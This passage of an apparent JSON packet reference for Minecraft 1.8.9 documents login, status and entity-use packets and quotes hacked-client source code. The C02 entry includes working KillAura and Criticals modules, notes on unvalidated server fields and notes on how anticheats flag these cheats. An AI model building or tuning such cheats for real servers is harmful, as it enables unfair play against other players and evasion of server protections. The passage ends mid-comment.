      "variations": "Rise 6.1.30 is byte-identical. No other client in the corpus references this packet from module code."
     },
     {
      "name": "ClientUtils (encryption helper)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Centralize the encryption handshake send so the login mixin can enable AES on the channel without duplicating the vanilla NetHandlerLoginClient logic.",
      "how_it_works": "sendEncryption(networkManager, secretKey, publicKey, encryptionRequest) builds the C01PacketEncryptionResponse from the already-generated AES secret, the server's RSA public key and the request's verify token, sends it through networkManager.sendPacket and enables encryption on the same manager inside the completion callback. The static helper is called from MixinNetHandlerLoginClient's intercept of S01PacketEncryptionRequest.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/utils/ClientUtils.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.utils;\n\nimport com.google.gson.JsonObject;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.login.server.S01PacketEncryptionRequest;\nimport net.minecraft.util.IChatComponent;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport javax.crypto.SecretKey;\nimport java.lang.reflect.Field;\nimport java.security.PublicKey;\n\n@SideOnly(Side.CLIENT)\npublic final class ClientUtils extends MinecraftInstance {\n\n    private static final Logger logger = LogManager.getLogger(\"LiquidBounce\");\n\n    private static Field fastRenderField;\n\n    static {\n        try {\n            fastRenderField = GameSettings.class.getDeclaredField(\"ofFastRender\");\n\n            if(!fastRenderField.isAccessible())\n                fastRenderField.setAccessible(true);\n        }catch(final NoSuchFieldException ignored) {\n        }\n    }\n\n    public static Logger getLogger() {\n        return logger;\n    }\n\n    public static void disableFastRender() {\n        try {\n            if(fastRenderField != null) {\n                if(!fastRenderField.isAccessible())\n                    fastRenderField.setAccessible(true);\n\n                fastRenderField.setBoolean(mc.gameSettings, false);\n            }\n        }catch(final IllegalAccessException ignored) {\n        }\n    }\n\n    public static void sendEncryption(final NetworkManager networkManager, final SecretKey secretKey, final PublicKey publicKey, final S01PacketEncryptionRequest encryptionRequest) {\n        networkManager.sendPacket(new C01PacketEncryptionResponse(secretKey, publicKey, encryptionRequest.getVerifyToken()), p_operationComplete_1_ -> networkManager.enableEncryption(secretKey));\n    }\n\n    public static void displayChatMessage(final String message) {\n        if (mc.thePlayer == null) {\n            getLogger().info(\"(MCChat)\" + message);\n            return;\n        }\n\n        final JsonObject jsonObject = new JsonObject();\n        jsonObject.addProperty(\"text\", message);\n\n        mc.thePlayer.addChatMessage(IChatComponent.Serializer.jsonToComponent(jsonObject.toString()));\n    }\n}\n\n\n// NOTE (AI): LiquidBounce's ClientUtils is a grab-bag utility; the C01 hit is the static sendEncryption helper at the end, which mirrors the vanilla NetHandlerLoginClient flow (secret key generation already happened, then C01 with a GenericFutureListener that enables encryption). The lambda form of the callback and the reflection-based fastRender toggle above it are unrelated; the mixin caller is MixinNetHandlerLoginClient, which routes the request through this helper instead of vanilla's inline send.\n",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/utils/ClientUtils.java",
      "vanilla_hook": "No event hook: a mixin on NetHandlerLoginClient calls the static utility; the packet goes through the raw NetworkManager with a GenericFutureListener callback.",
      "anti_cheat_notes": "None: the wire payload is what vanilla sends. The mixin exists to route the flow through LiquidBounce's utility layer, not to alter the handshake.",
      "variations": "Rise 6.x only exempts the packet from blink buffering; LiquidSense Dev is the one corpus client that constructs and sends it outside the vanilla login handler."
     }
    ],
    "general_hooks": "PacketSendEvent in Rise 6.x BlinkComponent; LiquidSense Dev hooks the login handler via mixin instead of the event bus.",
    "client_variations": "All other clients leave C01PacketEncryptionResponse to the bundled vanilla NetHandlerLoginClient, which sends it inside a GenericFutureListener callback after the secret key generation; LiquidSense Dev diverts it through ClientUtils.sendEncryption from its login mixin.",
    "related": [
     "C00Handshake",
     "C00PacketLoginStart",
     "S01PacketEncryptionRequest",
     "S02PacketLoginSuccess"
    ],
    "anticheat": {
     "overview": "The encryption response closes the RSA handshake and is the last plaintext packet on the connection, so anticheats never flag it. Corpus hits are registrations: Negativity lists ENCRYPTION_BEGIN_IN and ENCRYPTION_BEGIN_OUT in its PacketType enum, Artemis maps PacketLoginClientEncryptionBegin in its PacketRepository, and intave's ServerboundConfirmEncryption belongs to Intave's own cloud-control channel with its own cipher pipeline, not to the Minecraft login exchange. After this packet the stream is AES-encrypted and every later anticheat sees ciphertext.",
     "checks": []
    }
   },
   "wiki_notes": [
    "LOGIN serverbound 0x01; two VarInt-length byte arrays: RSA-encrypted AES secret plus encrypted verify token.",
    "Server decrypts with its private key, checks the nonce, then enables AES/CFB8 so later traffic is opaque.",
    "Valid only in KEY state after S01; a bad nonce or failed auth closes the connection instead of joining.",
    "MCP 1.8.9 C01PacketEncryptionResponse implements Packet<INetHandlerLoginServer> dispatching to INetHandlerLoginServer.processEncryptionResponse; wire serde is readPacketData/writePacketData via readByteArray.",
    "1.8.9 callers: NetHandlerLoginClient.handleEncryptionRequest sends new C01PacketEncryptionResponse (line 86): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/network/NetHandlerLoginClient.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C01PacketEncryptionResponse/",
   "mcp_path": "net/minecraft/network/login/client/C01PacketEncryptionResponse.java",
   "group": "login-server",
   "logic_classes": []
  },
  {
   "id": "C01PacketPing",
   "hex": "0x01",
   "dec": 1,
   "dir": "SERVERBOUND",
   "state": "STATUS",
   "name": "Ping",
   "desc": "Sends a client-side timestamp for the server to echo back. The client calculates round-trip latency from the difference.",
   "tags": [
    "status",
    "server",
    "ping",
    "latency"
   ],
   "fields": [
    {
     "name": "clientTime",
     "type": "long (8 bytes)",
     "desc": "Current system time in milliseconds (System.currentTimeMillis())"
    }
   ],
   "encoding": [
    [
     "Client Time",
     "long",
     "System.currentTimeMillis() at send time"
    ]
   ],
   "mcp": [
    "NetHandlerStatusServer.processPing()"
   ],
   "handler": "INetHandlerStatusServer",
   "notes": "Sent after receiving S00PacketServerInfo. The server echoes the exact same long value in S01PacketPong. The client computes latency as receiveTime - sentTime.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C01PacketPing is the STATUS-state latency probe. After S00PacketServerInfo arrives, OldServerPinger sends it with a single long field, and the server echoes the exact value back in S01PacketPong. The client computes the row latency as receiveTime minus sentTime, averages it over the last few samples, and displays it in the server list. RealmsServerStatusPinger sends the same packet with Realms.currentTimeMillis() on realm connections. This is the only ping in the protocol that exists outside the PLAY state; the tab-list ping later comes from the C00/S00 keepalive pair."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerStatusServer.processPing is a pure echo: it sends S01PacketPong(packetIn.getClientTime()) with no transformation and no state change. OldServerPinger tracks a counter (field_175092_e) incremented per ping cycle and sends C01PacketPing with it; the pong handler then computes the round-trip against the stored send time. The packet's long value is opaque to the server: it never reads it beyond echoing, which is why the value can be any client-chosen timestamp."
     },
     {
      "h": "Why clients touch it",
      "p": "Only Rise 6.1.30 and 6.2.4 BlinkComponent reference C01PacketPing, in the same pre-play exemption list as the other handshake packets. No ping-spoof module in the 8 clients targets it: every PingSpoof implementation operates on C00PacketKeepAlive in the PLAY state, where the server folds the round-trip into the tab-list ping EMA. Spoofing the STATUS ping would only fake the user's own server-list readout, which is a purely local number, so no module bothers. The corpus confirms the packet is otherwise untouched vanilla plumbing."
     },
     {
      "h": "Exploit surface",
      "p": "There is no meaningful exploit surface. The value is client-chosen and server-echoed, so a client could lie about its own latency, but the result is displayed only to itself on the multiplayer screen and vanishes on join. Server scanners could skip the ping to save a round-trip per host, but none of the 8 clients implements one. The only code interaction is defensive: BlinkComponent must not buffer this packet, or the pinger's latency sample would stall and the server row would show a stale or zero ping."
     }
    ],
    "overview": "The STATUS-state latency probe: client sends an arbitrary long, server echoes it, client measures the round-trip for the server list. No module spoofs it, because the result is a local display value; the sole corpus hit is BlinkComponent's exemption list.",
    "server_handling": "NetHandlerStatusServer.processPing sends S01PacketPong with the same long value, no validation, no rate limiting, no state change. The status handler is stateless by design: it answers queries and pings and expects the client to close the connection.",
    "protocol_notes": "STATUS state, id 0x01, one 8-byte long. Must follow C00PacketServerQuery and S00PacketServerInfo. The server never interprets the value; it is a client-chosen timestamp (OldServerPinger uses a counter, RealmsServerStatusPinger uses currentTimeMillis). The same field name family (C01) collides with the LOGIN-state C01PacketEncryptionResponse and the PLAY-state C01PacketChatMessage, so id-based dispatch depends entirely on the connection state.",
    "anticheat_landscape": "No anti-cheat measures the STATUS ping: it carries no player identity, no timing that persists, and no gameplay state. Anti-cheat plugins only ever see PLAY-state traffic. The only consumers are the server-list UI and reflection tools, neither of which is a flagging surface.",
    "modules": [
     {
      "name": "BlinkComponent",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Exempt C01PacketPing from blink buffering so the server-list latency sample completes while blink is armed.",
      "how_it_works": "The hard-coded pre-play exemption list includes C01PacketPing alongside C00Handshake, C00PacketLoginStart, C00PacketServerQuery and C01PacketEncryptionResponse; the PacketSendEvent listener returns before the blink queue logic, so the ping always reaches the wire.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java =====\npackage com.alan.clients.component.impl.player;\n\nimport com.alan.clients.component.Component;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.other.ServerJoinEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.handshake.client.C00Handshake;\nimport net.minecraft.network.login.client.C00PacketLoginStart;\nimport net.minecraft.network.login.client.C01PacketEncryptionResponse;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.status.client.C00PacketServerQuery;\nimport net.minecraft.network.status.client.C01PacketPing;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\npublic final class BlinkComponent extends Component {\n\n    public static final ConcurrentLinkedQueue<Packet<?>> packets = new ConcurrentLinkedQueue<>();\n    public static boolean blinking, dispatch;\n    public static ArrayList<Class<?>> exemptedPackets = new ArrayList<>();\n    public static StopWatch exemptionWatch = new StopWatch();\n\n    public static void setExempt(Class<?>... packets) {\n        exemptedPackets = new ArrayList<>(Arrays.asList(packets));\n        exemptionWatch.reset();\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        if (mc.thePlayer == null) {\n            packets.clear();\n            exemptedPackets.clear();\n            return;\n        }\n\n        if (mc.thePlayer.isDead || mc.isSingleplayer() || !mc.getNetHandler().doneLoadingTerrain) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            blinking = false;\n            exemptedPackets.clear();\n            return;\n        }\n\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C00Handshake || packet instanceof C00PacketLoginStart ||\n                packet instanceof C00PacketServerQuery || packet instanceof C01PacketPing ||\n                packet instanceof C01PacketEncryptionResponse) {\n            return;\n        }\n\n        if (blinking && !dispatch) {\n            if (exemptionWatch.finished(100)) {\n                exemptionWatch.reset();\n                exemptedPackets.clear();\n            }\n\n//            PingSpoofComponent.spoofing = false;\n\n            if (!event.isCancelled() && exemptedPackets.stream().noneMatch(packetClass ->\n                    packetClass == packet.getClass())) {\n                packets.add(packet);\n                event.setCancelled();\n            }\n        } else if (packet instanceof C03PacketPlayer) {\n            packets.forEach(PacketUtil::sendNoEvent);\n            packets.clear();\n            dispatch = false;\n        }\n    };\n\n    public static void dispatch() {\n        dispatch = true;\n    }\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<WorldChangeEvent> onWorldChange = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n    @EventLink(value = Priorities.VERY_LOW)\n    public final Listener<ServerJoinEvent> onServerJoin = event -> {\n        packets.clear();\n        BlinkComponent.blinking = false;\n    };\n\n}\n\n\n// NOTE (AI): C01PacketPing is the only packet in the exemption list that carries a timing value, but the component never touches it: the exemption simply guarantees the pinger's sample round-trip finishes. Spoofing the STATUS ping would be pointless anyway, since the measured latency is rendered only in the client's own server list.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/component/impl/player/BlinkComponent.java",
      "vanilla_hook": "PacketSendEvent",
      "anti_cheat_notes": "None: passed through unmodified; the STATUS exchange is invisible to anti-cheats by construction.",
      "variations": "Rise 6.1.30 is byte-identical. No other client in the corpus has a module-level reference."
     }
    ],
    "general_hooks": "PacketSendEvent in Rise 6.x BlinkComponent only.",
    "client_variations": "All other clients use the bundled vanilla OldServerPinger/RealmsServerStatusPinger, which send C01PacketPing directly on the status NetworkManager with no module involvement.",
    "related": [
     "C00Handshake",
     "C00PacketServerQuery",
     "S00PacketServerInfo",
     "S01PacketPong"
    ],
    "anticheat": {
     "overview": "The status ping is a pure echo probe used by the server list, and the corpus index is effectively empty of checks: FlopAC defines the PING constant for PacketStatusInPing in NMSObject and Packet, and Artemis wraps it as PacketStatusClientPing. The value is client-chosen and server-echoed for a local display, so no anticheat measures it. Anti-cheat timing only exists in the play state, through the C00 keepalive pair.",
     "checks": []
    }
   },
   "wiki_notes": [
    "STATUS serverbound 0x01 with one 8-byte long clientTime; server echoes it verbatim in S01 pong.",
    "Value is opaque to the server; vanilla sends currentTimeMillis or a counter and measures list latency locally.",
    "Server-list probe only; shares id 0x01 with LOGIN encryption and PLAY chat, routed by connection state.",
    "MCP 1.8.9 C01PacketPing implements Packet<INetHandlerStatusServer> dispatching to INetHandlerStatusServer.processPing; wire serde is readPacketData/writePacketData via readLong.",
    "1.8.9 callers: OldServerPinger.? sends new C01PacketPing (line 151) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/network/OldServerPinger.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C01PacketPing/",
   "mcp_path": "net/minecraft/network/status/client/C01PacketPing.java",
   "group": "status-server",
   "logic_classes": [
    "OldServerPinger"
   ]
  },
  {
   "id": "C02PacketUseEntity",
   "hex": "0x02",
   "dec": 2,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Use Entity",
   "desc": "Player interacts with (attacks or right-clicks) an entity.",
   "tags": [
    "entity",
    "player",
    "interact",
    "attack",
    "combat"
   ],
   "fields": [
    {
     "name": "entityId",
     "type": "VarInt",
     "desc": "Target entity ID"
    },
    {
     "name": "action",
     "type": "Enum",
     "desc": "INTERACT, ATTACK, or INTERACT_AT"
    },
    {
     "name": "hitVec",
     "type": "(float,float,float)",
     "desc": "Target position on the entity (for INTERACT_AT)"
    }
   ],
   "encoding": [
    [
     "Entity ID",
     "VarInt",
     ""
    ],
    [
     "Type",
     "VarInt Enum",
     "0=INTERACT, 1=ATTACK, 2=INTERACT_AT"
    ],
    [
     "Hit X (if INTERACT_AT)",
     "float",
     ""
    ],
    [
     "Hit Y (if INTERACT_AT)",
     "float",
     ""
    ],
    [
     "Hit Z (if INTERACT_AT)",
     "float",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processUseEntity()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "ATTACK sends damage to the target entity. INTERACT opens inventory/rides. INTERACT_AT is for hitting specific entity hitboxes (like Armor Stand limbs).",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C02PacketUseEntity is the only serverbound channel in 1.8.9 by which the client tells the server it interacted with an entity. The wire form is a VarInt entityId, a VarInt enum action (INTERACT, ATTACK, INTERACT_AT) and, for INTERACT_AT only, three floats for the hit position on the target. Every attack, mount, item-frame edit and armor-stand manipulation goes through it. Because the packet carries no position, rotation or timestamp, the server validates it purely against its own copy of player and entity state, which is exactly what makes it trivial to spoof from a modified client."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayServer.processUseEntity resolves the target from the packet's entity id, then enforces a distance gate: squared distance must be under 36.0 (6 blocks) when the target is visible to the player, or 9.0 (3 blocks) when it is not. INTERACT routes to playerEntity.interactWith, INTERACT_AT to the per-vector entity handler, and ATTACK first kicks the player for targeting EntityItem, EntityXPOrb, EntityArrow or self (\"Attempting to attack an invalid entity\"), then calls attackTargetEntityWithCurrentItem. There is no rate limit and no attack-cooldown validation; the 1.8.9 swing cooldown is enforced only client-side in PlayerControllerMP and EntityPlayerSP."
     },
     {
      "h": "Why clients touch it",
      "p": "All eight clients ship combat modules that live on this packet. Aura and KillAura variants send ATTACK in every client: Memeware and Nekoware split Single/Multi/Hypixel/Switch auras, Rise 5.99 and 6.x use Aura and KillAura, Sigma, Spicy and Tenacity each have Killaura modules. Criticals exists in Memeware, Nekoware, Rise 5.99, Sigma and Spicy, injecting C04 offset packets before the ATTACK. TPAura and TeleportAura in Memeware, Rise 5.99, Rise 6.x and Tenacity walk the server-side player to the target before attacking. ComboOneHit (Rise 5.99 and 6.x) floods ATTACK packets, and Spicy's TriggerBot and Wtap round out the combat surface. Freecam (Rise), Infinite (Rise 5.99), WorldGuardRegen, GodMode and AntiFireBall (Rise 6.x), PlayerHacks (Rise 5.99) and Sigma's AntiFreeze all filter or forge C02 as a secondary effect. The two new research clients extend the same surface. November Recode 2.0 ships KillAuraModule and WTapModule on its EventPacket bus: the aura queues C02 ATTACK directly when Keep Sprint is enabled and filters outgoing ATTACK packets in its WATCHDOG autoblock mode, and the wtap module reacts to outgoing attacks with sprint resets. LiquidSense Dev contributes the Hypixel movement family (HYTFly, HYTHighJump, HYTLongJump, HYTRun) which cancels and buffers C02 inside a blink window, plus the LiquidBounce Blink and Fly Zoom modes that hold C02 and release it with the rest of the buffer."
     },
     {
      "h": "Exploit surface",
      "p": "The server trusts three things: the entity id, the distance, and the action. Attack rate is unbounded, so ComboOneHit's 50-1000 packet bursts are legal wire traffic. INTERACT_AT's hitVec is client-chosen and unvalidated, which is why Sigma and Spicy Killaura spam INTERACT_AT with random hitVecs plus INTERACT as a disabler sequence, and why Rise 5.99's BedwarsTP can mount entities from outside reach. Friend protection is purely a client courtesy: Rise 5.99's Aura consults its friends list, Sigma's Killaura checks FriendManager.isFriend, Tenacity's KillAuraModule checks FriendCommand.isFriend, but nothing server-side knows about friends, so a client that skips the check can hit anyone. Anti-cheats counter with reach math, attack-rate caps, rotation-motion correlation, and ghost-interact detection."
     }
    ],
    "overview": "The combat funnel of 1.8.9: a VarInt entity id and an action enum are all the server needs to apply damage. KillAura family targets and attacks, Criticals injects C04 fall arcs ahead of the ATTACK, TPAura teleports the server-side player to the target first, ComboOneHit floods the channel, and TriggerBot/Wtap automate the last bits of the attack loop. Friend protection exists only inside the aura target filters, never as a standalone module, across the 8 clients.",
    "server_handling": "processUseEntity runs on the main thread via PacketThreadUtil and calls markPlayerActive, which resets the idle-kick timer. The entity lookup uses packetIn.getEntityFromWorld(worldServerForDimension(player.dimension)). Distance is checked as squared distance: 36.0 when canEntityBeSeen passes, 9.0 otherwise, with no horizontal/vertical split and no per-axis clamp. For ATTACK the invalid-target kick fires before any damage is dealt. There is no vanilla per-tick attack limit: the swing cooldown and the 20-tick hit cooldown live in client-side code (PlayerControllerMP.attackEntity and EntityPlayer.attackEntityAsMob), so a forged client can emit arbitrarily many attacks per tick and the server will process them all.",
    "protocol_notes": "The action is serialized with readEnumValue/writeEnumValue, a VarInt ordinal (0=INTERACT, 1=ATTACK, 2=INTERACT_AT). INTERACT_AT adds three floats read after the enum; the other two actions carry no payload, so the packet length varies by action. The Entity-based constructors resolve the entity id at construction time (entity.getEntityId), so modules that queue C02 after the target dies or unloads send a stale id that the server resolves to null and silently ignores. The Vec3 constructor always selects INTERACT_AT. The packet is registered at 0x02 in the SERVERBOUND play state table.",
    "anticheat_landscape": "NCP flags reach by comparing the server-side player position against the target at ATTACK time and tracks hit rates per second; ComboOneHit-style floods are its primary target. Rotation-aware checks flag attacks whose preceding C05/C06 rotation does not point at the target, which is why Memeware-style auras that send ATTACK without a rotation packet get flagged on newer anti-cheats while rotation-injecting auras pass. The INTERACT_AT plus INTERACT disabler sequence (Sigma, Spicy) is detected by anti-cheats that count ghost interacts. TPAura is trivially caught by movement checks, because the unconfirmed C04 walk trips the vanilla 'moved too quickly' math when the path is skipped. Friend checks are invisible to the server and exist purely as client-side target filtering.",
    "modules": [
     {
      "name": "Aura / KillAura",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Rise 6.1.30",
       "Rise 6.2.4",
       "Sigma 4.11",
       "Spicy",
       "Tenacity 6.0"
      ],
      "purpose": "Select a target within reach and emit C02 ATTACK packets at a controlled rate, with optional autoblock around the attack.",
      "how_it_works": "Target selection from client-side entity lists (CombatUtil.getTarget in Memeware, PlayerUtil.getEntities in Rise), aim injected into the motion event so the outgoing C05/C06 carries the rotation, then ATTACK fired through the client's packet path. Memeware's SingleAura alternates C07 RELEASE_USE_ITEM and C08 placement at a fake BlockPos to block between attacks. Friend filtering happens inside target selection: Rise 5.99 checks its friends list, Sigma checks FriendManager.isFriend, Tenacity checks FriendCommand.isFriend.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/aura/SingleAura.java =====\n\npackage me.memewaredevs.client.module.combat.aura;\n\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.combat.Aura;\nimport me.memewaredevs.client.module.combat.AutoPotion;\nimport me.memewaredevs.client.util.combat.CombatUtil;\nimport me.memewaredevs.client.util.combat.RotationUtils;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.item.ItemSword;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\n\npublic class SingleAura {\n    private static Timer timer = new Timer();\n    private static boolean block;\n    public static boolean unblock;\n    private static boolean unblocked;\n    public static void doUpdate(final Aura aura, final UpdateEvent e, final Minecraft mc) {\n        boolean invisible = aura.getBool(\"Invisibles\");\n        double range = aura.getDouble(\"Range\");\n        boolean players = aura.getBool(\"Players\");\n        boolean monsters = aura.getBool(\"Monsters\");\n        boolean teams = false;\n        final Entity entity = CombatUtil.getTarget(teams, monsters, players, range, invisible);\n        final boolean autoBlock = aura.getBool(\"Auto Block\");\n        final long clickSpeed = aura.getDouble(\"Click Speed\").longValue();\n        Aura.isBlocking = mc.thePlayer.getHeldItem() != null\n                && mc.thePlayer.getHeldItem().getItem() instanceof ItemSword && autoBlock && CombatUtil.canBlock(\n                teams, false, true, range + 4.0, true);\n        BlockPos a = new BlockPos(-0.2223, -0.132, -0.312);\n        if (Aura.isBlocking) {\n            if (e.isPost() && block) {\n                PacketUtil.sendPacket(new C08PacketPlayerBlockPlacement(a, 255, mc.thePlayer.getHeldItem(), 0.0F, 0.0F, 0.0F));\n                unblock = true;\n            }\n        }\n        block = true;\n        if (AutoPotion.isPotting())\n            return;\n        Aura.currentEntity = (EntityLivingBase) entity;\n        if (entity != null) {\n            final float[] rots = RotationUtils.getRotations((EntityLivingBase) entity);\n            e.setYaw(rots[0]);\n            e.setPitch(rots[1]);\n            if (unblocked) {\n                mc.thePlayer.swingItem();\n                PacketUtil.sendPacket(new C02PacketUseEntity(entity, C02PacketUseEntity.Action.ATTACK));\n                unblocked = false;\n            }\n            if (timer.delay(1000L / clickSpeed) && e.isPre()) {\n                PacketUtil.sendPacket(new C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, a.offsetDown(), EnumFacing.UP));\n                unblocked = true;\n                block = false;\n                timer.reset();\n            }\n        }\n    }\n}\n\n\n// NOTE (AI): Memeware's SingleAura is the module-level attack core shared by the Aura module. It resolves the target through CombatUtil.getTarget, injects the aim into the UpdateEvent (e.setYaw/Pitch so the outgoing C05/C06 carries it), and fires the ATTACK via PacketUtil.sendPacket, which routes through the packet event bus so Criticals and other listeners see it. The autoblock half uses a fake BlockPos(-0.2223, -0.132, -0.312) for the C08 placement and a C07 RELEASE_USE_ITEM at a.offsetDown(): the server registers the use-item state change without any real block being touched, which is the standard 1.8.9 block-hack autoblock pattern. Note the swing is only sent when the previous release already went out (unblocked flag), keeping one attack per click-speed window.\n",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/combat/aura/SingleAura.java",
      "vanilla_hook": "UpdateEvent (aim + attack trigger); the attack itself goes through PacketUtil.sendPacket so PacketOutEvent listeners see it.",
      "anti_cheat_notes": "Reach is measured server-side, so range settings above 3 blocks are the primary flag; auras that skip rotation injection fail rotation checks on NCP/Verus-class anti-cheats. The autoblock C07/C08 pair around each attack is a visible packet pattern.",
      "variations": "Nekoware splits Single, Multi and Switch auras, all sending ATTACK via sendQueue or PacketUtil. Rise 5.99's Aura is a single 1100+ line module with PacketUtil.sendPacket, and its friends list gates targets at attack time. Rise 6.x KillAura uses PacketUtil.send and includes the InteractEntityFix component for ViaVersion. Sigma and Spicy Killaura both add the INTERACT_AT random-hitVec plus INTERACT disabler sequence after the attack. Tenacity KillAuraModule uses mc.getNetHandler().addToSendQueue."
     },
     {
      "name": "Criticals",
      "found_in": [
       "Memeware 7.3",
       "Nekoware v1 private",
       "Rise 5.99",
       "Sigma 4.11",
       "Spicy"
      ],
      "purpose": "Force every melee hit to register as a critical by injecting C04 position packets that recreate the falling-jump arc immediately before the ATTACK.",
      "how_it_works": "A PacketOutEvent handler waits for C02 with ACTION ATTACK, then queues C04 packets at y+0.1232225 (onGround false), y+1.0554E-9 (false) and y (true), rate-limited by a 320ms timer so the burst cannot fire twice inside one attack. The server applies fall-damage math to the reported arc, so the attack lands as a crit. Ground-spoof variants instead mutate the motion event's Y and ground flag with a decaying 0.001 offset so every movement packet looks like a fresh fall.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/combat/Criticals.java =====\n\npackage me.memewaredevs.client.module.combat;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketOutEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\n\nimport java.util.function.Consumer;\n\npublic class Criticals extends Module {\n\n    private Timer critTimer = new Timer();\n    private double groundSpoofDist = 0.001;\n\n    public Criticals() {\n        super(\"Criticals\", 0, Module.Category.COMBAT);\n        addModes(\"Ground Spoof\", \"Packet\", \"Mineplex\");\n    }\n\n    @Handler\n    public Consumer<PacketOutEvent> update = e -> {\n        if (mc.thePlayer == null) {\n            return;\n        }\n        if (isMode(\"Mineplex\")) {\n            if (e.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer packet = (C03PacketPlayer) e.getPacket();\n                if (mc.thePlayer.isCollidedVertically && mc.thePlayer.ticksExisted % 2 == 0) {\n                    packet.onGround = false;\n                    if (e.getPacket() instanceof C03PacketPlayer.C04PacketPlayerPosition || e.getPacket() instanceof C03PacketPlayer.C06PacketPlayerPosLook) {\n                        PacketUtil.sendPacketSilent(new C03PacketPlayer.C04PacketPlayerPosition(packet.x, packet.y + 1.02E-9, packet.z, false));\n                    }\n                }\n            }\n        }\n        if (isMode(\"Cubecraft\")) {\n            if (e.getPacket() instanceof C02PacketUseEntity) {\n                C02PacketUseEntity packet = (C02PacketUseEntity) e.getPacket();\n                if (packet.getAction() == C02PacketUseEntity.Action.ATTACK) {\n                    if (critTimer.delay(320)) {\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY + 0.1232225, mc.thePlayer.posZ, false));\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY + 1.0554E-9, mc.thePlayer.posZ, false));\n                        mc.thePlayer.sendQueue.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(\n                                mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, true));\n                        critTimer.reset();\n                    }\n                }\n            }\n        }\n    };\n    \n    @Handler\n    public Consumer<UpdateEvent> eventConsumer = event -> {\n        if (groundSpoofDist < 0.0001) {\n            groundSpoofDist = 0.001;\n        }\n        if (isMode(\"GroundSpoof\") && mc.thePlayer.isSwingInProgress && mc.thePlayer.isCollidedVertically) {\n            event.setY(event.getY() + groundSpoofDist);\n            event.setGround(false);\n            groundSpoofDist -= 1.0E-11;\n        }\n    };\n\n    @Override\n    public void onEnable() {\n        groundSpoofDist = 0.001;\n    }\n\n    @Override\n    public void onDisable() {\n        groundSpoofDist = 0.001;\n    }\n}\n\n\n// NOTE (AI): The Cubecraft branch is the interesting one for 